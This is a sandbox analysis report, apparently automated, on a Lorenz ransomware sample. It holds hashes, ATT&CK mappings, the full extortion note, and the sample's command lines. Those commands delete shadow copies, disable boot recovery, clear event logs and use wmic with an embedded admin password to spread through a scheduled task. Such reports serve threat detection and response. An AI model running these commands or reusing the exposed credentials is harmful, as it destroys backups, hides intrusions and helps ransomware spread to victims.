c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb

Analysis

max time kernel
141s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
11/08/2024, 00:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
Size

1016KB
MD5

885c935f89580c98444c64b2710378d2
SHA1

ec3a9cde30a280b825f9603ed6d2f346a24e27d5
SHA256

c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb
SHA512

4f2c306cf06d09e6cf776c2a2947239982d27a058b4104875d00c8a623a8ceafeeba8a5b1afdf86c841aa0972f235556f7214e28c4fd8d1936237520c388c0be
SSDEEP

24576:LibnUPR2bYg1yiwKZycSQLyMTNuSBOpFhA8ld8Wm8/uyA:ubCR2bIoyqG4ZBObd8WmRyA

Score

10^/10

defense_evasion discovery evasion execution impact ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\Reader\DesktopNotification\NotificationsDB\HELP_SECURITY_EVENT.html

Ransom Note

.sz40<br><style>.container{position:relative;text-align: center;}.top-right{position:absolute;top:20px;left:50%;transform:translate(-50%, -50%);}</style><table align ="center" width="50%" style="border:1px solid red;"><tr><div class="container"><img width="50%" height="90" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAQCAIAAACgHXkXAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAEpJREFUeNpiYMALGFdYWuORZvn95Qs+6Z8fPuKT/vX9O17Df/zAq/vnT7zSv3/jNRyvv1n+UCQNMfw/WliSphunNCMTMwPZACDAAM86GalyBR+JAAAAAElFTkSuQmCC"/><div class="top-right"><h1><p style="color:#FFD700">Lorenz ransomware</p></h1></div><th><td><b>Good day</b>!<br>We have download and encrypted all your company files!<br><br>We did this using hybrid RSA - 2048 public key encryption.It basically means there is no way to decrypt your files without the private key.<br>The private key is stored on our server.<br><br>Indeed, we can recover your files. You just have to pay us before the deadline.<br>If you don't, the private key will be securely erased from our server, you lose encrypted files forever and we will publish all the contents of your company includes databases with SSN and diagnosis, correspondence, invoice's, signature's, confidential medical history's, balance sheet's etc. on the internet, send it to mass media and your customers.<br><br> Leave your contact mail to <b>http://egypghtljedbs3x3ui45tfhosakzb376epl7baq2ruzfyewcypswhgqd.onion/index.php</b> (it's Tor site, use Tor Browser <b>https://www.torproject.org/download/</b>) to get instructions and key to restore all your files. <br>Or leave your contact mail to decrypt 2 files for free.<br> After payment will recieve, we securely delete all your files from our servers.<br> <b>Deadline: 02.15.2021</b><b><br><br><b>WARNING!</b> Antivirus software, police or anyone can't decrypt your files. Also any attemps to modify files may damaged them and even we won't be able to recover them.<br><br></td></th></tr></table>

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4276	1576	cmd.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3000	1576	cmd.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4480	1576	cmd.exe	91

Clears Windows event logs 1 TTPs 16 IoCs

evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
756	wevtutil.exe
4344	wevtutil.exe
4484	wevtutil.exe
1212	wevtutil.exe
3920	wevtutil.exe
1156	wevtutil.exe
2020	wevtutil.exe
4708	wevtutil.exe
3000	wevtutil.exe
2352	wevtutil.exe
2328	wevtutil.exe
2324	wevtutil.exe
1628	wevtutil.exe
4204	wevtutil.exe
3824	wevtutil.exe
3172	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
800	bcdedit.exe
2476	bcdedit.exe

Renames multiple (339) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\T:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\B:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\M:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\N:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\Y:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\H:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\E:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\G:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\I:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\K:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\L:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\P:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\S:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\A:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\V:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\W:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\Z:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\U:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\Q:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\R:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\X:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\O:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe

Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4032	cmd.exe
4600	WMIC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4396	WMIC.exe
Token: SeSecurityPrivilege	4396	WMIC.exe
Token: SeTakeOwnershipPrivilege	4396	WMIC.exe
Token: SeLoadDriverPrivilege	4396	WMIC.exe
Token: SeSystemProfilePrivilege	4396	WMIC.exe
Token: SeSystemtimePrivilege	4396	WMIC.exe
Token: SeProfSingleProcessPrivilege	4396	WMIC.exe
Token: SeIncBasePriorityPrivilege	4396	WMIC.exe
Token: SeCreatePagefilePrivilege	4396	WMIC.exe
Token: SeBackupPrivilege	4396	WMIC.exe
Token: SeRestorePrivilege	4396	WMIC.exe
Token: SeShutdownPrivilege	4396	WMIC.exe
Token: SeDebugPrivilege	4396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4396	WMIC.exe
Token: SeRemoteShutdownPrivilege	4396	WMIC.exe
Token: SeUndockPrivilege	4396	WMIC.exe
Token: SeManageVolumePrivilege	4396	WMIC.exe
Token: 33	4396	WMIC.exe
Token: 34	4396	WMIC.exe
Token: 35	4396	WMIC.exe
Token: 36	4396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4396	WMIC.exe
Token: SeSecurityPrivilege	4396	WMIC.exe
Token: SeTakeOwnershipPrivilege	4396	WMIC.exe
Token: SeLoadDriverPrivilege	4396	WMIC.exe
Token: SeSystemProfilePrivilege	4396	WMIC.exe
Token: SeSystemtimePrivilege	4396	WMIC.exe
Token: SeProfSingleProcessPrivilege	4396	WMIC.exe
Token: SeIncBasePriorityPrivilege	4396	WMIC.exe
Token: SeCreatePagefilePrivilege	4396	WMIC.exe
Token: SeBackupPrivilege	4396	WMIC.exe
Token: SeRestorePrivilege	4396	WMIC.exe
Token: SeShutdownPrivilege	4396	WMIC.exe
Token: SeDebugPrivilege	4396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4396	WMIC.exe
Token: SeRemoteShutdownPrivilege	4396	WMIC.exe
Token: SeUndockPrivilege	4396	WMIC.exe
Token: SeManageVolumePrivilege	4396	WMIC.exe
Token: 33	4396	WMIC.exe
Token: 34	4396	WMIC.exe
Token: 35	4396	WMIC.exe
Token: 36	4396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3148	WMIC.exe
Token: SeSecurityPrivilege	3148	WMIC.exe
Token: SeTakeOwnershipPrivilege	3148	WMIC.exe
Token: SeLoadDriverPrivilege	3148	WMIC.exe
Token: SeSystemProfilePrivilege	3148	WMIC.exe
Token: SeSystemtimePrivilege	3148	WMIC.exe
Token: SeProfSingleProcessPrivilege	3148	WMIC.exe
Token: SeIncBasePriorityPrivilege	3148	WMIC.exe
Token: SeCreatePagefilePrivilege	3148	WMIC.exe
Token: SeBackupPrivilege	3148	WMIC.exe
Token: SeRestorePrivilege	3148	WMIC.exe
Token: SeShutdownPrivilege	3148	WMIC.exe
Token: SeDebugPrivilege	3148	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3148	WMIC.exe
Token: SeRemoteShutdownPrivilege	3148	WMIC.exe
Token: SeUndockPrivilege	3148	WMIC.exe
Token: SeManageVolumePrivilege	3148	WMIC.exe
Token: 33	3148	WMIC.exe
Token: 34	3148	WMIC.exe
Token: 35	3148	WMIC.exe
Token: 36	3148	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5004	WMIC.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 4396	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	98
PID 4504 wrote to memory of 4396	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	98
PID 4504 wrote to memory of 4396	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	98
PID 4504 wrote to memory of 5004	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	102
PID 4504 wrote to memory of 5004	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	102
PID 4504 wrote to memory of 5004	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	102
PID 4276 wrote to memory of 3148	4276	cmd.exe	104
PID 4276 wrote to memory of 3148	4276	cmd.exe	104
PID 4276 wrote to memory of 800	4276	cmd.exe	113
PID 4276 wrote to memory of 800	4276	cmd.exe	113
PID 4276 wrote to memory of 2476	4276	cmd.exe	115
PID 4276 wrote to memory of 2476	4276	cmd.exe	115
PID 4504 wrote to memory of 4032	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	119
PID 4504 wrote to memory of 4032	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	119
PID 4504 wrote to memory of 4032	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	119
PID 4032 wrote to memory of 4600	4032	cmd.exe	121
PID 4032 wrote to memory of 4600	4032	cmd.exe	121
PID 4032 wrote to memory of 4600	4032	cmd.exe	121
PID 4504 wrote to memory of 2752	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	128
PID 4504 wrote to memory of 2752	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	128
PID 4504 wrote to memory of 2752	4504	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	128
PID 4480 wrote to memory of 4204	4480	cmd.exe	132
PID 4480 wrote to memory of 4204	4480	cmd.exe	132
PID 4480 wrote to memory of 3000	4480	cmd.exe	133
PID 4480 wrote to memory of 3000	4480	cmd.exe	133
PID 4480 wrote to memory of 4344	4480	cmd.exe	134
PID 4480 wrote to memory of 4344	4480	cmd.exe	134
PID 4480 wrote to memory of 2328	4480	cmd.exe	135
PID 4480 wrote to memory of 2328	4480	cmd.exe	135
PID 4480 wrote to memory of 3824	4480	cmd.exe	136
PID 4480 wrote to memory of 3824	4480	cmd.exe	136
PID 4480 wrote to memory of 4484	4480	cmd.exe	137
PID 4480 wrote to memory of 4484	4480	cmd.exe	137
PID 4480 wrote to memory of 3172	4480	cmd.exe	138
PID 4480 wrote to memory of 3172	4480	cmd.exe	138
PID 4480 wrote to memory of 1212	4480	cmd.exe	139
PID 4480 wrote to memory of 1212	4480	cmd.exe	139

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\885c935f89580c98444c64b2710378d2_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\SysWOW64\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" process call create 'cmd.exe /c WMIC.exe shadowcopy delete /nointeractive & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures'
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Windows\SysWOW64\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" process call create 'cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"'
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5004
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic /node:'0.0.0.0' /USER:'wolfeclinicpc.int\RSMAdmin' /PASSWORD:'4Myiz0nlY' process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON /TN sz40 /TR '\\wolfeclinicpc.int\NETLOGON\sinhost.exe' & SCHTASKS /run /TN sz40&SCHTASKS /Delete /TN sz40 /F"
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /node:'0.0.0.0' /USER:'wolfeclinicpc.int\RSMAdmin' /PASSWORD:'4Myiz0nlY' process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON /TN sz40 /TR '\\wolfeclinicpc.int\NETLOGON\sinhost.exe' & SCHTASKS /run /TN sz40&SCHTASKS /Delete /TN sz40 /F"
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4600
- C:\Windows\SysWOW64\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" process call create 'cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"'
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2752

C:\Windows\system32\cmd.exe
cmd.exe /c WMIC.exe shadowcopy delete /nointeractive & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4276
- C:\Windows\System32\Wbem\WMIC.exe
  WMIC.exe shadowcopy delete /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3148
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:800
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2476

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:724

C:\Windows\system32\cmd.exe
cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"
1⤵
- Process spawned unexpected child process
PID:3000
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:2352
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "windows powershell"
  2⤵
  - Clears Windows event logs
  PID:2324
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:1628
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Application"
  2⤵
  - Clears Windows event logs
  PID:756
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "HardwareEvents"
  2⤵
  - Clears Windows event logs
  PID:3920
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "System"
  2⤵
  - Clears Windows event logs
  PID:1156
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:2020
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:4708

C:\Windows\system32\cmd.exe
cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:4204
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "windows powershell"
  2⤵
  - Clears Windows event logs
  PID:3000
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:4344
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Application"
  2⤵
  - Clears Windows event logs
  PID:2328
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "HardwareEvents"
  2⤵
  - Clears Windows event logs
  PID:3824
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "System"
  2⤵
  - Clears Windows event logs
  PID:4484
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:3172
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:1212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\Reader\DesktopNotification\NotificationsDB\HELP_SECURITY_EVENT.html

Filesize
1KB

MD5
0537a10b3c140325325c334e5ae80ff0

SHA1
c44f6df2ba8862f9649a627dda1e120c5bba9667

SHA256
8cd7eb16464a0a52f6ff0c542bb7d5a3c3c772e52dc347c024ee836a5377247b

SHA512
eebd9c2a41b0ccbbcec147e081cf9f2c19dcd50412a1acc3fc97b7d94f9c62d5a0f36c5e50df150a528ca4a5ba257c00872ef7f27990e54a8f086998c25d4dc9

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads